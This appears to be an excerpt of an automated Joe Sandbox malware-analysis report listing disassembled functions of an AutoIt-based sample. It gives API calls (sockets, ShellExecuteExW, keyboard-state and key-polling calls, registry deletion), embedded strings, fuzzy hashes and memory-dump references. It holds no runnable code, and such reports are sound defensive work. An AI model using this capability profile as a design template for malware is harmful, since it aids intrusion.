Opcode Fuzzy Hash: b73eb0004d7cb1661f280650df3482c51a95e92b772862b81077426e5c29572d
Instruction Fuzzy Hash: ABC182715087059FC724EF28C845A6ABBE5FF85310F04492EF999973A2DB31EC45CB92

Function 00646B03 Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00646C00
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00646C21
WSAGetLastError.WSOCK32(00000000), ref: 00646C34
htons.WSOCK32(?,?,?,00000000,?), ref: 00646CEA
inet_ntoa.WSOCK32(?), ref: 00646CA7

Part of subcall function 0062A7E9: _strlen.LIBCMT ref: 0062A7F3
Part of subcall function 0062A7E9: _memmove.LIBCMT ref: 0062A815

_strlen.LIBCMT ref: 00646D44
_memmove.LIBCMT ref: 00646DAD

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: da477bc74a142bc343525114b7845fe1c5c962a3d562fa6fbd0ad89000f59a83
Instruction ID: 40591351f802a2aa86dda60b8ab163e577984fba69bc3abe619a433469813e80
Opcode Fuzzy Hash: da477bc74a142bc343525114b7845fe1c5c962a3d562fa6fbd0ad89000f59a83
Instruction Fuzzy Hash: 6F81F171604301ABC720EB28DC86EAABBAAEFC5714F10491EF5559B3D2DB70DD05CB92

Function 005D1424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ada796584a2957901f10d4e536bf512242e6cf7d338fd0d35ffc9d27f045b7c2
Instruction ID: 3aa11aab2732e68159c0a1bea225eccc0746472abdca8cd35ea2b5bf1b53220f
Opcode Fuzzy Hash: ada796584a2957901f10d4e536bf512242e6cf7d338fd0d35ffc9d27f045b7c2
Instruction Fuzzy Hash: BE715830900509FFCB24CF98C848AAEBF79FF85315F14815AF915AB391C734AA51CBA8

Function 0065B351 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00FE5F48), ref: 0065B3EB
IsWindowEnabled.USER32(00FE5F48), ref: 0065B3F7
SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 0065B4DB
SendMessageW.USER32(00FE5F48,000000B0,?,?), ref: 0065B512
IsDlgButtonChecked.USER32(?,?), ref: 0065B54F
GetWindowLongW.USER32(00FE5F48,000000EC), ref: 0065B571
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 0065B589

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: e326126bb76d19a72502f5567168ec4ab507ae914dce12baa16d8c9d072fdadb
Instruction ID: ee0ca9ddbec704f73b2b775f2d367ec4c246b6cc1f8ae8df910b1a7d63be7a7f
Opcode Fuzzy Hash: e326126bb76d19a72502f5567168ec4ab507ae914dce12baa16d8c9d072fdadb
Instruction Fuzzy Hash: CF716634604604AFDF359F64C894BEABBAAEF09302F146069ED46973A6C731A949CB50

Function 0064F41E Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0064F448
_memset.LIBCMT ref: 0064F511
ShellExecuteExW.SHELL32(?), ref: 0064F556

Part of subcall function 005D9837: __itow.LIBCMT ref: 005D9862
Part of subcall function 005D9837: __swprintf.LIBCMT ref: 005D98AC

Part of subcall function 005EFC86: _wcscpy.LIBCMT ref: 005EFCA9

GetProcessId.KERNEL32(00000000), ref: 0064F5CD
CloseHandle.KERNEL32(00000000), ref: 0064F5FC

Strings

@, xrefs: 0064F525

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: 1f8f6709d50b33e7efd138e93eb1d8eb8d747dc4517889dc1c2ec16717269f65
Instruction ID: bb27fa2bc7b58c87039694c311ff3f241127f1d1c998acc7f334a565e920a205
Opcode Fuzzy Hash: 1f8f6709d50b33e7efd138e93eb1d8eb8d747dc4517889dc1c2ec16717269f65
Instruction Fuzzy Hash: E7617275A0061ADFCB14EF58C4859AEBBF6FF89310F14846AE855AB351CB30AD41CF90

Function 00630F4D Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00630F8C
GetKeyboardState.USER32(?), ref: 00630FA1
SetKeyboardState.USER32(?), ref: 00631002
PostMessageW.USER32(?,00000101,00000010,?), ref: 00631030
PostMessageW.USER32(?,00000101,00000011,?), ref: 0063104F
PostMessageW.USER32(?,00000101,00000012,?), ref: 00631095
PostMessageW.USER32(?,00000101,0000005B,?), ref: 006310B8

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 1308fb5dfa057c8616c0817bf9b26d8a0bb38c7cec2d5bb1117ca6c26aab6f0c
Instruction ID: 71c338b35bbfcfbb1d7508b3abc20579963ecbb1cb0fa45044e72e9d7d42269d
Opcode Fuzzy Hash: 1308fb5dfa057c8616c0817bf9b26d8a0bb38c7cec2d5bb1117ca6c26aab6f0c
Instruction Fuzzy Hash: 5451E1A0A047D53DFB3642348C15BFABEAB5B07304F08898DE1D48A9D2C799ECC9D791

Function 00630D66 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00630DA5
GetKeyboardState.USER32(?), ref: 00630DBA
SetKeyboardState.USER32(?), ref: 00630E1B
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00630E47
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00630E64
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00630EA8
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00630EC9

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 3232298fc0938df729df82f68671b91c1693519934ff8d48041c7dc89994f437
Instruction ID: 56b6f07e420492d3409bc16542a85da2014896af928c6827167a66bc36c4542c
Opcode Fuzzy Hash: 3232298fc0938df729df82f68671b91c1693519934ff8d48041c7dc89994f437
Instruction Fuzzy Hash: 1451E6A0A447D53DFB3683748C65BBA7EEA5F06300F08888DE1D44A9C2D395EC9CD790

Function 006355FD Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 0063560A
_wcsncpy.LIBCMT ref: 0063563F
_wcsncpy.LIBCMT ref: 00635671
_wcsncpy.LIBCMT ref: 006356A4
_wcsncpy.LIBCMT ref: 006356E6
_wcsncpy.LIBCMT ref: 00635720
_wcsncpy.LIBCMT ref: 0063574F

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 85b6b89f748c471f6098307592fd49654a81ddd9b92eed2aefe5ed57975913e1
Instruction ID: 8ab4a28f598a2e8c57179b8034f03348f6fd61dd39409ea4d8ffa08bc76d5c82
Opcode Fuzzy Hash: 85b6b89f748c471f6098307592fd49654a81ddd9b92eed2aefe5ed57975913e1
Instruction Fuzzy Hash: 2A41B375C1121976CB11EBF4884E9DFB7BDBF85310F508856E609E3221EB38A245C7E6

Function 0062D56C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 121comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 0062D5D4
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 0062D60A
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 0062D61B
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 0062D69D

Strings

DllGetClassObject, xrefs: 0062D610
,,f, xrefs: 0062D578

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: ,,f$DllGetClassObject
API String ID: 753597075-21257640
Opcode ID: b870fbca46fea18f449473e49134dc69c6f4d450f28bf33d065fd7cb2b420c20
Instruction ID: ba93fdc8fe560df03b125cfef01ddc7bdc2ce9295c069514e42698e073e0368d
Opcode Fuzzy Hash: b870fbca46fea18f449473e49134dc69c6f4d450f28bf33d065fd7cb2b420c20
Instruction Fuzzy Hash: D0418CB1600A24EFDB15DF64D884A9ABBABEF44314F1581ADEC099F205D7B1D944CFA0

Function 005D2344 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 005D2357
ScreenToClient.USER32(006957B0,?), ref: 005D2374
GetAsyncKeyState.USER32(00000001), ref: 005D2399
GetAsyncKeyState.USER32(00000002), ref: 005D23A7

Strings

f6dfewf6dfewf6dfewf6dfewf6dfewb6dfew86dfew66dfewc6dfew06dfew06dfew06dfew06dfew06dfew06dfew66dfew66dfew86dfew96dfew86dfew56dfew76df, xrefs: 0060BFF9

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID: f6dfewf6dfewf6dfewf6dfewf6dfewb6dfew86dfew66dfewc6dfew06dfew06dfew06dfew06dfew06dfew06dfew66dfew66dfew86dfew96dfew86dfew56dfew76df
API String ID: 4210589936-528870926
Opcode ID: b2fa3d02390a8f6cd3a6e8378d7226fb84c0101ab459908feeacae00235d3cdd
Instruction ID: a109caea11e39c4bd626a2f70526adb866fea9d479601f6b16eab19fa39c326b
Opcode Fuzzy Hash: b2fa3d02390a8f6cd3a6e8378d7226fb84c0101ab459908feeacae00235d3cdd
Instruction Fuzzy Hash: 7441AF35604205FBCF299F68C844AEABB76FB15320F20431BF829932E0C7319954DF91

Function 00633671 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0063466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00633697,?), ref: 0063468B

Part of subcall function 0063466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00633697,?), ref: 006346A4

lstrcmpiW.KERNEL32(?,?), ref: 006336B7
_wcscmp.LIBCMT ref: 006336D3
MoveFileW.KERNEL32(?,?), ref: 006336EB
_wcscat.LIBCMT ref: 00633733
SHFileOperationW.SHELL32(?), ref: 0063379F

Strings

\*.*, xrefs: 0063372D

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: d5398ce1e8e43b54be04678e7c0187d82a336d7ea622d25a4a4b8bb6bbb71a2a
Instruction ID: 6ba32d5c35483e231ecef148b79f3eeb01631b22d3d69abf069b92bc922870e6
Opcode Fuzzy Hash: d5398ce1e8e43b54be04678e7c0187d82a336d7ea622d25a4a4b8bb6bbb71a2a
Instruction Fuzzy Hash: ED41A2B1108345AEC751EF64C4469DFB7E9AF89340F00192EB49AC3351EB34D689C796

Function 00657291 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 006572AA
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00657351
IsMenu.USER32(?), ref: 00657369
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 006573B1
DrawMenuBar.USER32 ref: 006573C4

Strings

0, xrefs: 0065729E

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: aa212fee725ee2944328be8417599d285684d3ec0721801b4ade1e1b71d47301
Instruction ID: 1e4be891554db9ffa0b1ceefe85d62f6871b084c7cb413038342eb55416384db
Opcode Fuzzy Hash: aa212fee725ee2944328be8417599d285684d3ec0721801b4ade1e1b71d47301
Instruction Fuzzy Hash: 7B411675A04209EFDB20DF50E884ADABBBAFF04362F149529FD159B350D730AD58DB50

Function 00650FA5 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00650FD4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00650FFE
FreeLibrary.KERNEL32(00000000), ref: 006510B5

Part of subcall function 00650FA5: RegCloseKey.ADVAPI32(?), ref: 0065101B
Part of subcall function 00650FA5: FreeLibrary.KERNEL32(?), ref: 0065106D
Part of subcall function 00650FA5: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00651090

RegDeleteKeyW.ADVAPI32(?,?), ref: 00651058

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 558f3e2b581e6168ba6287a7bfd64e15130fc38b6c2e57350744c4bf3a05844e
Instruction ID: 5d707ab9574d13150a401bdff9048135386121d0abc3e240dcf8753137620e4c
Opcode Fuzzy Hash: 558f3e2b581e6168ba6287a7bfd64e15130fc38b6c2e57350744c4bf3a05844e
Instruction Fuzzy Hash: 0E313071900209BFEB15DF90DC89EFFB7BDEF09311F040169E901E6281DB749E899AA0

Function 006562CD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 006562EC
GetWindowLongW.USER32(00FE5F48,000000F0), ref: 0065631F
GetWindowLongW.USER32(00FE5F48,000000F0), ref: 00656354
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00656386
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 006563B0
GetWindowLongW.USER32(00000000,000000F0), ref: 006563C1
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 006563DB

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 08f6fff7e5ce358ca667e581eb5cd16ec753880162fa7f1ee57e99f1b66d1ed3
Instruction ID: 42d7177208bf025b8747f897da7b2704fde71feb051bca33a52047c58f97a081
Opcode Fuzzy Hash: 08f6fff7e5ce358ca667e581eb5cd16ec753880162fa7f1ee57e99f1b66d1ed3
Instruction Fuzzy Hash: 2E311130644250AFDB21CF18DC84F9937E6FB4A756F6921A9F9018F2B2CB71AC49DB50

Function 0062DAEB Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0062DB2E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0062DB54
SysAllocString.OLEAUT32(00000000), ref: 0062DB57
SysAllocString.OLEAUT32(?), ref: 0062DB75
SysFreeString.OLEAUT32(?), ref: 0062DB7E
StringFromGUID2.OLE32(?,?,00000028), ref: 0062DBA3
SysAllocString.OLEAUT32(?), ref: 0062DBB1

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: d479db60215e1bb364c6f8de1a1c0b11800b42f75b57b49aa4ea889ec990d8b6
Instruction ID: 0ab5008b4a92b2fae7f342bf05bea7b5cb6602dc53a35f17d14b66ee7d56944a
Opcode Fuzzy Hash: d479db60215e1bb364c6f8de1a1c0b11800b42f75b57b49aa4ea889ec990d8b6
Instruction Fuzzy Hash: 88218376601619AF9F10DFA8DC88CBB77EDEB09361B058525FE14DB291D6709C418B60

Function 00646173 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00647D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00647DB6

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 006461C6
WSAGetLastError.WSOCK32(00000000), ref: 006461D5
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 0064620E
connect.WSOCK32(00000000,?,00000010), ref: 00646217
WSAGetLastError.WSOCK32 ref: 00646221
closesocket.WSOCK32(00000000), ref: 0064624A
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00646263

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: c228af1ce65ebc4cb75ec3d7c336305586f095d9415eb66a374375db360e32c1
Instruction ID: 5895677904cd69de7c212864bab089fef8e9c7a3b4e71b3345dd304dd57d0d21
Opcode Fuzzy Hash: c228af1ce65ebc4cb75ec3d7c336305586f095d9415eb66a374375db360e32c1
Instruction Fuzzy Hash: 63318431600214ABDF10EF64DC85BBE7BBEEF45751F04402AF905E7291DB70AD049BA2

Function 0062F65E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0062F671
__wcsnicmp.LIBCMT ref: 0062F692
__wcsnicmp.LIBCMT ref: 0062F6AC

Strings

#notrayicon, xrefs: 0062F669
#requireadmin, xrefs: 0062F68C
#OnAutoItStartRegister, xrefs: 0062F6A6

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: 034fc04a444484933d994070e6dc45e271a4473cb615fe18b51e49098438ab53
Instruction ID: ef95bd7a81998941455ba32bbc154c6472419932e835219adf1602a80f4c6231
Opcode Fuzzy Hash: 034fc04a444484933d994070e6dc45e271a4473cb615fe18b51e49098438ab53
Instruction Fuzzy Hash: 86219772204D3266D330BB34FC06EF773AAEF95380F14403AF94286291EB919D46CB90

Function 0062DBC4 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0062DC09
